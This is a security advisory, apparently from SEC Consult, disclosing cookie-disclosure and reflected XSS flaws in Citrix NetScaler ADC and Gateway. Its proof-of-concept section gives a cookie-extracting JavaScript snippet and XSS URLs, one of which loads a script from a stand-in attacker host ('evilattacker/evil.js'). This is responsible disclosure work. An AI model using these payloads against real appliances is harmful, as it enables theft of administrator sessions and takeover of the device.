SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway

2014-07-2100:00:00

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SEC Consult Vulnerability Lab Security Advisory < 20140716-2 >

          title: Multiple vulnerabilities
        product: Citrix NetScaler Application Delivery Controller
		         Citrix NetScaler Gateway

vulnerable version: <9.3-62.4
<10.1-126.12
fixed version: >=9.3-62.4
>=10.1-126.12
CVE: CVE-2014-4346, CVE-2014-4347
impact: High
homepage: http://www.citrix.com
found: 2014-01-05
by: Stefan Viehbock
SEC Consult Vulnerability Lab
https://www.sec-consult.com

Vendor/product description:

"Citrix NetScaler helps organizations build enterprise cloud networks that
embody the characteristics and capabilities that define public cloud services,
such as elasticity, expandability and simplicity. NetScaler brings to
enterprise IT leaders multiple advanced technologies that were previously
available only to large public cloud providers."

"As an undisputed leader of service and application delivery, Citrix NetScaler
solutions are deployed in thousands of networks around the globe to optimize,
secure and control the delivery of all enterprise and cloud services. They
deliver 100 percent application availability, application and database server
offload, acceleration and advanced attack protection. Deployed directly in
front of web and database servers, NetScaler solutions combine high-speed load
balancing and content switching, http compression, content caching, SSL
acceleration, application flow visibility and a powerful application firewall
into a single, easy-to-use platform."

URL: http://www.citrix.com/products/netscaler-application-delivery-controller/overview.html

Business recommendation:

Attackers can exploit XSS and other vulnerabilities that lead to cookie disclosure
to execute administrative actions.

Affected Systems should be updated as soon as possible.

Vulnerability overview/description:

1) Cookie disclosure
The error handler in the Apache g_soap module prints all of the request header
information including the HTTP Cookie field. This vulnerability can be used in
XSS attacks to gain access to the otherwise well protected (HttpOnly) "SESSID"
cookie of an administrator.

2) Reflected Cross-Site Scripting (XSS)
Citrix Netscaler suffers from multiple reflected Cross-Site Scripting
vulnerabilities, which allow an attacker to steal user information,
impersonate users and perform administrative actions on the appliance.

There are many parameters which are not properly sanitized and thus
vulnerable to XSS.

Proof of concept:

1) Cookie disclosure
A GET request to the SOAP handler returns the following information:

GET /soap HTTP/1.1
Host: <host>
OTHER HEADER FIELDS

Response:
HTTP/1.1 200 OK
…
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
…
<BODY>
<H1>mod_gsoap Apache SOAP Server Error</H1>
<p><strong>No body received</strong>
…
<br>Cookie: SESSID=SESSION ID;
…

In combination with an XSS vulnerability (see 2) an attacker can use the following
code to extract cookies including the SESSID cookie of an administrator:

var request = new XMLHttpRequest();
request.open('GET', '/soap', false);
request.send();
lines=request.responseText.split('<br>')
for (var i in lines){
if (lines[i].indexOf('Cookie')==0){
alert(lines[i]);
break;
}
}

2) Reflected Cross-Site Scripting
Accessing the following URL will include the Javascript code from http://evilattacker/evil.js:
http://<host>/menu/topn?name=";<%2fscript><script+src%3d"http:%2f%2fevilattacker%2fevil.js"><%2fscript>

Other pages do not sanitize user input properly as well:
http://<host>/pcidss/launch_report?type=AA";alert('xss');x="

http://<host>/menu/guiw?nsbrand=AA<"'>AA&protocol=BB<"'>BB&id=CC<"'>CC
Note: Content-Type is application/x-java-jnlp-file, so the injected script code
is not interpreted. However, it is possible to inject arguments into a Java
JNLP file, which might be used in further attacks.

Vulnerable / tested versions:

The vulnerabilities have been verified to exist in Citrix NetScaler VPX 10.0,
which was the most recent version at the time of discovery.
According to the vendor versions before 10.1-126.12 and 9.3-62.4 are vulnerable

Vendor contact timeline:

2014-01-09: Sending advisory and proof of concept exploit via encrypted
channel.
2014-01-17: Vendor acknowledges receipt of advisory.
2014-04-04: Requesting status update.
2014-06-10: Vendor is "in the process of scheduling the release of a security
bulletin".
2014-07-07: Requesting list of affected/non-affected versions CVE-IDs.
2014-07-07: Vendors is "still in the final stages of releasing the bulletin".
2014-07-07: Requesting info about cause of delay.
2014-07-07: Vendor is "still hopeful that the bulletin will be available soon".
2014-07-14: Vendor states that fixed version will be available on July 15/16.
2014-07-16: SEC Consult releases coordinated security advisory.

Solution:

Update to a more recent version of Citrix NetScaler.

More information can be found at:
https://support.citrix.com/article/ctx140863

Workaround:

No workaround available.

Advisory URL:

https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

SEC Consult Vulnerability Lab

SEC Consult
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Interested in working with the experts of SEC Consult?
Write to [email protected]

EOF Stefan Viehbock / @2014
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